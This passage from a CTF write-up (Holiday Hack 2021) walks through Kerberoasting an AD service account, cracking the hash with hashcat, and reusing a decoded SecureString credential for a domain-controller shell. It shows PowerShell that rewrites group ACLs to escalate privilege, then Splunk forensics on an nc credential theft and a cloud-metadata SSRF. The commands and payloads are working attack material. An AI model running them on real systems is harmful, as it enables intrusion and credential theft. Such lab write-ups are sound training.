ldap/elfu_svc.elfu.local/elfu        elfu_svc            2021-10-29 19:25:04.305279  2022-01-01 03:12:40.280599             
ldap/elfu_svc.elfu.local/elfu.local  elfu_svc            2021-10-29 19:25:04.305279  2022-01-01 03:12:40.280599             



[+] Trying to connect to KDC at ELFU.LOCAL
[+] Trying to connect to KDC at ELFU.LOCAL
[+] Trying to connect to KDC at ELFU.LOCAL
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$44995e9bf6e2c60c373abd9c492fa7f6$80bff64555854a9365b4d6a377d50551cfbb151d681a382d10b9aff40ec9c79a633b975a701ebcfe9874b423939ba4ddba6c50707df4979b778e5969ecde498faddae07ec28ba41e20dbc3173e55d3038ae4f484e59811906a4cd8ecc4ad6e78cad266f3879396f263a9b84dc063fac9e02a669161923f538fd06ff3bb4162ab43c7af2e1a6f395baaeae2736e66125d5cb5953d62a5931cd9cf935d4ea1e085965d633800c52a876b12ef1ae4b77a057ac56c8695964dc43fc3b9f054c522b0de15333b72b312d7d603ad526f7f06e71b3f1cbbd3f614f5368be01af9b14a7e6792b04383dd2cec3bef2698f09373fa1774aa9232c210f19d2d0614eba83bb3eebffda74f328bd59e9607cea76508b72fd9de63b079d057b32073ed8ce682e5af2ab3cfae434427008f7293d67a8973e0ce7d210a70a6a59907d31aec9799ef0124790e49356e4df5df849d095b28e72495b819d587a59b12718fd40c623244c84f5a6088fbf873964ba1ae1ae9ec58b43f20bb4d7d2f0a7434fc02f27cb2d3b794a54848dba5f0eea6e7dac20f64d03d6bb3c5f2585b0c10bf1a276b8a19374c22ef0489c19f156d53b2f5ab026c08cc9a2a9b323a16a368e3345aad62c6153f126740ddb1d0129a1cef1173506ad7cf9d18c9d42ba50b1a4fe4650c8c119113d121ed3d15cef8c63f6efccdc062c1c90c9b8a44bf9a28472d79ef3c3b0c65249def70fa49a812c435f4a69b3e3b835a529ef7b5d510407f4a91ec4bbbb47a94cb1ae98992c025d13a9acabfab54094eb9634d68e8d2e6681970665972f10abdf735097447cec27cfb90d07919828efcff48f2f808ae11aba015cedd97c13703b826fc4f7d1176324387a5ba809e61defb8f5b84fab48eef732a0f06360fd3f0d6920a9791ac92848080023057607b02c583027e75fe9aa2495e4f26c9792efb593687e1e9f2c88f4525d82572cc6a6f65d7d5375506bb804cf9b9f645f6c8214c5d2bb0c57f1e503c2880f6a969d99e04fe0b23c33c99ebd8db5a2e48bbcd1190af86f586766823183b4cf3349e9aab972da31080b9f8f5eb10bbbf0a2b71cb6fc03762da020634d8ace0867538a0f9a921e1ade2df5534baac1a1fba43b1f34b771559c754db5809b271ef9ee001a3ba8d1269ec582a65b9d4ee757fb19e894e7f7cd18acc40068fdf03e1fd451a53467366172ef9c380e546edd0eceeedec4e7d376833193ce686ecd97138cac3bfd327a2f364e04867338584437b0935ef94b5f5b6201c0e21d43ad6e3072b1381be0e1798d3ad74a57c0e7704ddf480e032f0809f30e364610c8570bcc801f8ca50f8afe1bba43fa248605861bfa63fb847f81bb99963e916802d84b139d5c51cef70c8e5f4335c799f16c6972c8de640162eac10ddfd097344f19f8ef41ddf9cbbfc79847892c83eaf739861d7b6ba4cab8afdd5

Since writing my writeup, I have a better idea of why it wasn't working. Here's that knowledge if you'd like to be ahead According to the script, the dc-ip only needs to be specified if we don't want to use the FQDN specified in the domain. So it's resolving elfu.local correctly, but 172.17.0.5 isn't correct. The host doesn't have any of the normal DNS resolvers that I can think of (no dig, nslookup, host), but it does have curl:

curl elfu.local -v
*   Trying 10.128.1.53:80
so that's definitely not the IP I was using. It seems there's something preventing 172* addresses but allowing 10* addresses. Using -dc-ip 10.128.1.53 works, and would have been useful to figure out at the time.

Now we have a hash, we just have to crack it!

Initially, I tried using rockyou.txt, to no luck. Perhaps the strange comment on the register page is relevant? Eve gave us the hint to use Cewl and OneRuleToRuleThemAll, so I'll assume it is relevant and just use the register page. If that doesn't work, it could be worth specifying a depth and making Cewl search more pages.


cewl https://register.elfu.org/register --with-numbers
hashcat -m 13100 -a 0 <spnfile> --potfile-disable -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule --force -O -w 4 --opencl-device-types 1,2 <wordlist>

One mistake I made was to try to copy the hash results from GetUserSPNs.py rather than making it directly create a file. After fixing this, and using the correct input, hashcat found the password: Snow2021!

More Privilege Escalation

So now we can finally access the domain controller:


    $password = ConvertTo-SecureString "Snow2021!" -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu\elfu_svc", $password)
    Enter-PSSession -ComputerName 172.17.0.5 -Credential $creds -Authentication Negotiate
    MI_RESULT_FAILED For more information, see the about_Remote_Troubleshooting Help topic.
ah shoot; that did not work.
Cue another very long side-track of not knowing what to do (mostly due to a silly mistake)
  • Can we switch to elfu_svc locally? Nope, su reports the user does not exist
  • rpcclient to the domain controller denies access
  • rpcclient --user=elfu.local/elfu_svc 172.17.0.3 just show the ELFU and BUILTIN domains
  • psexec.py 'elfu_svc:Snow2021!@172.17.0.3' still shows the shares aren't writable, but surely elfu_svc_shr should be readable?
  • 
        /bin/smbclient --ip-address=172.17.0.3 --user=elf_svc --workgroup=elfu.local -L elfu_svc_shr
        NT_STATUS_LOGON_FAILURE
    
  • 
        GetNPUsers.py elfu.local/elf_svc:Snow2021! -request -format hashcat -outputfile npu.txt
        Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
        
        [*] Cannot authenticate elf_svc, getting its TGT
        [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
    
  • 
    samrdump.py -port 445 'elfu.local/elf_svc:Snow2021!@172.17.0.4'
    Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
    
    [*] Retrieving endpoint list from 172.17.0.4
    Found domain(s):
     . SHARE
     . Builtin
    [*] Looking up users in domain SHARE
    Found user: alabaster, uid = 1000
    alabaster (1000)/FullName: Linux User
    alabaster (1000)/UserComment: 
    alabaster (1000)/PrimaryGroupId: 513
    alabaster (1000)/BadPasswordCount: 0
    alabaster (1000)/LogonCount: 0
    alabaster (1000)/PasswordLastSet: 2022-01-01 08:01:32
    alabaster (1000)/PasswordDoesNotExpire: False
    alabaster (1000)/AccountIsDisabled: False
    alabaster (1000)/ScriptPath:
  • Out of ideas, I dumped the commands on the server to see if any of those would be useful:
    ls /usr/local/bin/
        Get-GPPPassword.py  atexec.py     findDelegation.py  karmaSMB.py        mqtt_check.py         ping.py        rdp_check.py      services.py   split.py
        GetADUsers.py       dcomexec.py   flask              keylistattack2.py  mssqlclient.py        ping6.py       reg.py            smbclient.py  testTGT.py
        GetNPUsers.py       dpapi.py      futurize           kintercept.py      mssqlinstance.py      pip            registry-read.py  smbexec.py    testTGT2.py
        GetUserSPNs.py      esentutl.py   getArch.py         ldapdomaindump     netview.py            pip3           rpcdump.py        smbpasswd.py  ticketConverter.py
        PoC.py              exchanger.py  getPac.py          ldd2bloodhound     nmapAnswerMachine.py  pip3.8         rpcmap.py         smbrelayx.py  ticketer.py
        PoC2.py             f2py          getST.py           ldd2pretty         ntfs-read.py          psexec.py      sambaPipe.py      smbserver.py  wmiexec.py
        __pycache__         f2py3         getTGT.py          lookupsid.py       ntlmrelayx.py         raiseChild.py  samrdump.py       sniff.py      wmipersist.py
        addcomputer.py      f2py3.8       goldenPac.py       mimikatz.py        pasteurize            rbcd.py        secretsdump.py    sniffer.py    wmiquery.py
After sleeping on it, it occurred to me that the Kerberos SessionError made no sense; I'd only found the user from Kerberos so it must exist... --user=elf_svc 🤦

Now that I have the elfu_svc account, it makes sense to see if I have more access to the Samba client:


    smbclient.py 'elfu/elfu_svc:Snow2021!@172.17.0.3'
    Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
    
    Type help for list of commands
    # shares
    netlogon
    sysvol
    elfu_svc_shr
    research_dep
    IPC$
Being able to connect and see the shares is a good start. Given the objective is to get a "research" document, the research_dep share is probably interesting:

    # use research_dep
    [-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
No luck, but luckily it does have access to elfu_svc_shr, which contains a heap of PowerShell files. Far too many to look through manually, and you can't mass-search in smbclient, so we need to copy them all locally:
    # use elfu_svc_shr
    # ls
    # mget *
    # exit

Searching for password could be useful:

bvlkqhmacc@grades:~$ cat * | grep -e "password"

    Type a user name, such as User01 or Domain01\User01, or enter a PSCredential object generated by the Get-Credential cmdlet. If you type a user name, you're prompted to enter the passwor.
    Type a user name, such as User01 or Domain01\User01, or enter a PSCredential object generated by the Get-Credential cmdlet. If you type a user name, you're prompted to enter the passwor.
    Type a user name, such as User01 or Domain01\User01, or enter a PSCredential object generated by the Get-Credential cmdlet. If you type a user name, you're prompted to enter the passwor.
        $password = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($AadAdminCredential.Password))
        if ($password.Length -gt 100) {
            $account = Connect-AzureAD -AadAccessToken $password -AccountId $AadAdminCredential.UserName
    WriteInfoHighlighted "Please provide password that will be injected as administrator password into VHD"
    The password for the certificate defined by PrivateCertPath so that the decryption process
    specified password to the specified certiticate for decryption to occur.
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "", Justification="Caller would be dealing in a plain text password in this scenario.")]
    The Base64 encrypted password for UserName.
    Will ensure that the current computer has a local user named "myUser" with a password that
            Write-Verbose "Decrypting password."
            $password = Decrypt-Asymmetric -EncryptedBase64String $Secret -CertThumbprint $CertThumbprint -CertStore $CertStore -ErrorAction Stop
            $user.setPassword($password)
    The Base64 encrypted password for UserName.
    Will ensure that the current computer has a local user named "myUser" with a password that
        $ProcessArguments += ", ntauthentication=0, username=""$($sqlCredential.UserName)"",password=""$([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($sqlCredential.Password)))"""
Gets a report of all the applications and service principals in this tenant that have either apassword or client secret
            foreach($cred in $item.passwordCredentials)
        throw "$registry registry requires authorization. Please specify username and password for the registry in registryCredential."
    throw "$registry registry requires authorization. Please specify username and password for the registry in registryCredential."
    Specifies password for your lab. This password is used for domain admin, vmm account, sqlservice account and additional DomainAdmin... Define before running 2_CreateParentImages
        $credential = get-credential -Message "Using $auth Authentication. Please enter username/password for the Containter."
$passwordKeyFile = "$myfolder\aes.key"
$passwordKey = New-Object Byte[] 16
[Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($passwordKey)
    Set-Content -Path $passwordKeyFile -Value $passwordKey
    $encPassword = ConvertFrom-SecureString -SecureString $credential.Password -Key $passworKey
                     "--env passwordKeyFile=""$containerPasswordKeyFile""",
        $encDatabasePassword = ConvertFrom-SecureString -SecureString $databaseCredential.Password -Key $passwordKey
    Remove-Item -Path $passwordKeyFile -Force -ErrorAction Ignore
New-BcContainerWindowsUser -containerName test -tenantId mytenant -username freddyk -password password
    $encOffice365Password = ConvertFrom-SecureString -SecureString $secureOffice365Password -Key $passwordKey
These are the credentials used for the container. If not provided, the Run-AlValidation function will generate a random password and use that.
These are the credentials used for the container. If not provided, the Run-AlValidation function will generate a random password and use that.
$password = GetRandomPassword
Write-Host "admin/$password"
$credential= (New-Object pscredential 'admin', (ConvertTo-SecureString -String $password -AsPlainText -Force))

but of course there are a bunch of false-positives. It'd probably be better to search for elfu, and perhaps using less since then I can only look at one at a time and won't get overwhelmed if there are a heap of matches: cat * | less, type /elfu enter, which finds:
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate

Originally I tried copying the key directly into Chris Davis' script/

    $password = ConvertTo-SecureString "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQA
    wAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAx
    AGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlA
    DYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA" -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $password)
    Enter-PSSession -ComputerName 172.17.0.5 -Credential $creds -Authentication Negotiate
And then using the same key

    $SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQA
    wAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAx
    AGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlA
    DYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
    $password = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
and even seeing if the password needed to be decoded

    ConvertFrom-SecureString $password
    41003100640036003500350066003700660035006400390038006200310030002100
but these all failed. Perhaps they're old creds? Running the exact code in the script I'd found gave a list of processes, so the creds were definitely correct. Instead of running Invoke-Command, substituting this directly for Enter-PSSession, and removing the -ScriptBlock argument, finally got me a shell on the DC!

Domain Admin?

On the domain controller, I could query LDAP

using Chris' script
    $ADSI = [ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=elfu,DC=local"
    $ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])
or the Microsoft script

    $ADObject = [ADSI]"LDAP://DC=elfu,DC=local"
    $aclObject = $ADObject.psbase.ObjectSecurity
    $aclList = $aclObject.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])
    $output=@()
    foreach($acl in $aclList)
          {
            $objSID = New-Object System.Security.Principal.SecurityIdentifier($acl.IdentityReference)
            $info = @{
              'ActiveDirectoryRights' = $acl.ActiveDirectoryRights;
              'InheritanceType' = $acl.InheritanceType;
              'ObjectType' = $acl.ObjectType;
              'InheritedObjectType' = $acl.InheritedObjectType;
              'ObjectFlags' = $acl.ObjectFlags;
              'AccessControlType' = $acl.AccessControlType;
              'IdentityReference' = $acl.IdentityReference;
              'NTAccount' = $objSID.Translate( [System.Security.Principal.NTAccount] );
              'IsInherited' = $acl.IsInherited;
              'InheritanceFlags' = $acl.InheritanceFlags;
              'PropagationFlags' = $acl.PropagationFlags;
            }
    
            $obj = New-Object -TypeName PSObject -Property $info
            $output+=$obj}
    
    $output
which both tell me I don't have Write-DACL rights.

I once again took a while to figure out what to do next, scouring the DC for anything of use both on the Dirctory (which told me that there was a elfu_admin account but nothing I could read about them), and in the environment variables. I figured out that the remote_elf account was

a member of Remote Management Domain Users and Remote Domain Users

    (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($env:username)))")).FindOne().GetDirectoryEntry().memberOf
    CN=Remote Management Domain Users,CN=Users,DC=elfu,DC=local
    CN=Remote Management Users,CN=Builtin,DC=elfu,DC=local
which made me wonder if there was another box I should be connecting to. Perhaps it was something to do with having only looked for DCs on 172.17.*.* when I could now only connect on 10.*?
I ran an nmap scan of the DC, and used IP routelist to see that 10.128.1-3.* could be interesting and tried scanning these. It took ages, and only 10.128.3.30 seemed interesting.

$ ip route list
$ nmap -sV -Pn 10.128.1.53
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-01 23:31 UTC
Stats: 0:00:26 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 91.67% done; ETC: 23:31 (0:00:02 remaining)
Stats: 0:01:33 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 91.67% done; ETC: 23:33 (0:00:08 remaining)
Nmap scan report for hhc21-windows-dc.c.holidayhack2021.internal (10.128.1.53)
Host is up (0.00050s latency).
Not shown: 988 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-01-01 23:31:36Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: elfu.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: elfu.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=1/1%Time=61D0E45E%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.40 seconds

Nmap scan report for hhc21-windows-linux-docker.c.holidayhack2021.internal (10.128.1.4)
Host is up (0.00024s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2222/tcp open  EtherNetIP-1

Nmap scan report for 10.128.3.30
Host is up (0.000091s latency).
Not shown: 966 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
636/tcp  open  ldapssl
1024/tcp open  kdm
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1028/tcp open  unknown
1029/tcp open  ms-lsa
1030/tcp open  iad1
1031/tcp open  iad2
1032/tcp open  iad3
1033/tcp open  netinfo
1034/tcp open  zincite-a
1035/tcp open  multidropper
1036/tcp open  nsstp
1037/tcp open  ams
1038/tcp open  mtqp
1039/tcp open  sbl
1040/tcp open  netsaint
1041/tcp open  danf-ak2
1042/tcp open  afrog
1043/tcp open  boinc
1044/tcp open  dcutility
2222/tcp open  EtherNetIP-1
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
I also spent some time trying to install Sharphound (in /tmp/ so it wouldn't impact other users), but it seems a Firewall was preventing outbound connections, and I was reluctant to try too hard since even an obscure name/location could impact others.

Finally, I asked for a hint and was asked what groups exist. You can find that by running Get-ADGroup. The Write-DACL permission is only important if you want to change the permissions of an account or group to give them explicitly access to something they don't have. Without it, you can change the permissions of an individual by adding them to a group (if you have permission to do so).

One eye-catching group on the DC is Research Department, so let's add our original user to that:


Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]'00000000-0000-0000-0000-000000000000'
$IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\bvlkqhmacc")).Translate([System.Security.Principal.SecurityIdentifier])
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$domainDirEntry.RefreshCache()
$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()

Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "bvlkqhmacc"
$password = "Viffilblw#"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
$b=New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID=[BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://")
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()

Now we can access the samba file

smbclient.py 'elfu/bvlkqhmacc:Viffilblw#@172.17.0.3'
use research_dep
ls
get SantaSecretToAWonderfulHolidaySeason.pdf
and we have the file! We can't just cat a pdf though; we have to download it to our own machines, which means changing our startup shell from the grading program to /bin/bash:

chsh

scp -P 2222 bvlkqhmacc@grades.elfu.org:/home/bvlkqhmacc/SantaSecretToAWonderfulHolidaySeason.pdf SantaSecretToAWonderfulHolidaySeason.pdf



So the answer is Kindness

Relevance Kerberos is the most widely deployed system for authentication and authorization. Attackers will often get access to a low-privilege, and escalate privileges from there. According to Sophos, Mimikatz and PSExec were used together in 31% of attacks. So this is probably a somewhat realistic challenge.

Objective 9: Splunk!

Angel Candysalt seems to be feeling a bit unnerved by the con next door and wants us to brush up on our SIEM skills just in case. There are a couple of tasks to complete over here

Task 1: Capture the commands Eddie ran most often, starting with git. Looking only at his process launches as reported by Sysmon, record the most common git-related CommandLine that Eddie seemed to use.

We can run index=* to find all the indexes - only main exists, so we can't filter by index. Looking at the "Selected Fields" on the left, we can see "source"; since the task asks about Sysmon, we must want source="Journald:Microsoft-Windows-Sysmon/Operational", and to look at the CommandLine field

So now that we know that, we can translate the details into a Splunk search - we want the source to be sysmon, the command line to contain git and to find the most common by CommandLine source="Journald:Microsoft-Windows-Sysmon/Operational" CommandLine=*git* | top CommandLine

This shows us the answer is git status, with a count of 5.

Task 2: Looking through the git commands Eddie ran, determine the remote repository that he configured as the origin for the 'partnerapi' repo. The correct one!

To configure the remote origin, you have to run git remote add origin followed by the origin. Splunk will by default show the latest command at the top and we'd assume the correct origin is the last set, so we can search source="Journald:Microsoft-Windows-Sysmon/Operational" CommandLine="git remote add origin *" and look at the top. This might not be for the 'partnerapi' repo; we have to check the process_current_directory field to check, and filter it if not. In this case, there is only one matching directory, so the answer is git@github.com:elfnp3/partnerapi.git. Digging a little further; this doesn't seem to be a public git repo.

Task 3: Eddie was running Docker on his workstation. Gather the full command line that Eddie used to bring up a the partnerapi project on his workstation.

Docker can be run from anywhere, so we can't necessarily search in the directory. Let's just say the event has to include partnerapi somewhere, without specifying exactly where: source="Journald:Microsoft-Windows-Sysmon/Operational" CommandLine="*docker*" partnerapi. This search finds three matching CommandLine events; one can be ignored because it's git adding Dockerfile and docker-compose.yml, one is python3 docker-compose up which seems unusual and possibly an error, the final is docker compose up. That's a common command for starting a project on your workstation, and uses the docker-compose.yml file that was added in the git command, so we can be pretty confident that our answer is docker compose up

Task 4: Eddie had been testing automated static application security testing (SAST) in GitHub. Vulnerability reports have been coming into Splunk in JSON format via GitHub webhooks. Search all the events in the main index in Splunk and use the sourcetype field to locate these reports. Determine the URL of the vulnerable GitHub repository that the elves cloned for testing and document it here. You will need to search outside of Splunk (try GitHub) for the original name of the repository.

We can use index=* | stats count by source to get potential sources. That shows us it's likely to be githubwebhook. So now we can use source=githubwebhook which shows alert.rule.security_severity_level is likely to be a useful feature. Putting this all together gives us source=githubwebhook "alert.rule.security_severity_level"=high. The results are collapsed in Splunk, so we then have to click on the "+" next to repository in the first result to see that the "clone_url" is "https://github.com/elfnp3/dvws-node.git". Visiting that link shows it's forked from our answer https://github.com/snoopysecurity/dvws-node. If we want to dig further, we can see that only one commit has been added to the fork, which is simply adding CodeQL. The owners have no other public repositories:



And the user who made the commit hasn't made any other commits, but does have a Jack-Frost-esque cover photo...



Task 5: Santa asked Eddie to add a JavaScript library from NPM to the 'partnerapi' project. Determine the name of the library and record it here for our workshop documentation.

To add a JavaScript library from NPM, you'd run "npm install" with the name in the commandline. So to find this, we can search for: CommandLine="*npm install*" | table CommandLine, which shows Eddie made a couple of different attempts to npm install holiday-utils-js. Currently there are no matching packages.

Task 6: Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search and capture the full process_name field of anything that looks suspicious.

We can add process_name to the search to see that git and nc have been used. nc is often used for reverse shells for hacking whereas git can only be used for hopefully more challenging supply chain attacks / leaking data / etc. We can be pretty confident that the answer is /usr/bin/nc.openbsd

Task 7: Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don't indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here.

We should start with the process: process_name="/usr/bin/nc.openbsd" which shows that the parent process id is 6788. We should therefore search for ParentProcessId=6788 OR process_id=6788 since we care about children of the process that ran nc or any other processes it ran after spawning nc.We can then look at the CommandLine field values to see that the command cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts. None of the other commands accessed files, so our answer is 6

Task 8: Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address.

The ParentCommandLine from above was /bin/bash; we should see what ran that. Looking again at process_id=6788, we can see the ParentCommandLine field is /bin/bash preinstall.sh

After typing that in, we get our thanks from Santa and have completed the objective:



Relevance Splunk is incredibly popular for indexing logs. It's used at my work, and a number of my friends' workplaces, so it's likely you'll come across it sometime during any career in info sec.

Objective 10: Now Hiring!

For this challenge, we're asked to find the secret access key for Jack's job applications server

Looking around, the site seems pretty minimal which means there shouldn't be too many opportunities for vulnerabilities. Most likely, we'll find something in the apply page since this takes a number of inputs.

Throwing a number of test payloads at it didn't reveal any issues though; the server consistently responded with a plain "Submission Accepted", so perhaps there's some blind SSRF going on?

Using a canary token showed that the site wasn't just blindly reaching out to any site, and it couldn't have been opening whatever file I gave it as a resume since only the name was ever sent. The placeholder value pointed to a page that didn't exist, and I couldn't find any valid reports to provide nor a way to upload my own. (But I did enjoy the police light effect suggested. So it appears that there might be SSRF but if so it's blind, on a page that I can't control. That's not helpful.

Stuck, I went looking at other pages. The opportunities page is interesting because it has embedded images, but these don't display in a browser. Looking at them in Burp shows they're returning text, not image data!

I'm not sure if this is intentional, or due to other players

Dumping their details had the answer in image 5. I believe it shouldn't have, and at the time, I didn't actually realise, since clearly the challenge should involve more work. I noticed that image 3 contained ec2-192-0-2-54.compute-1.amazonaws.com, so tried that in the URL field of the application, with no luck.

Dumping image 6 found me {"name":"Gitsync","status":"OK"}, so I went hunting for a git project, but only found what looked like another contestant's writeup.

A bit lost on ideas, I came across the hint that I should use what I learnt in the IMDS terminal challenge. So I added the IP from there (http://169.254.169.254) into the application form, and finally got a distinct response.


The image doesn't display since it just contains the word "latest" - a familiar word from the terminal challenge. Noting that the image is named after whatever name you entered (ie, choose a unique one to not impact others!), the answer should now be pretty simple: for the URL, use http://169.254.169.254/latest/meta-data/iam/security-credentials. Looking at the content of the image, we can see the role is "jf-deploy-role", so one more application with http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role gets us the answer:


        {
            "Code": "Success",
            "LastUpdated": "2021-05-02T18:50:40Z",
            "Type": "AWS-HMAC",
            "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
            "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
            "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
            "Expiration": "2026-05-02T18:50:40Z"
        }
    

Relevance This has the same relevance as the IMDS terminal challenge, but shown in a more realistic scenario. It's also useful to learn about SSRF as that has been used to help get RCE on Github enterprise and to get insights into Google's internal network.

Objective 11: Customer Complaint Analysis

The trolls are annoyed because a guest has infiltrated their network and complained about the customer service. The network is only intended to be used for trolls to complain about the guests. We're given a packet capture of the network.

After opening it in Wireshark, it's pretty clear how complaints are made: an NGINX server is running on frost-tower.local that contains a form for complaints. On submitting, this creates a POST request to /feedback/guest_complaint.php

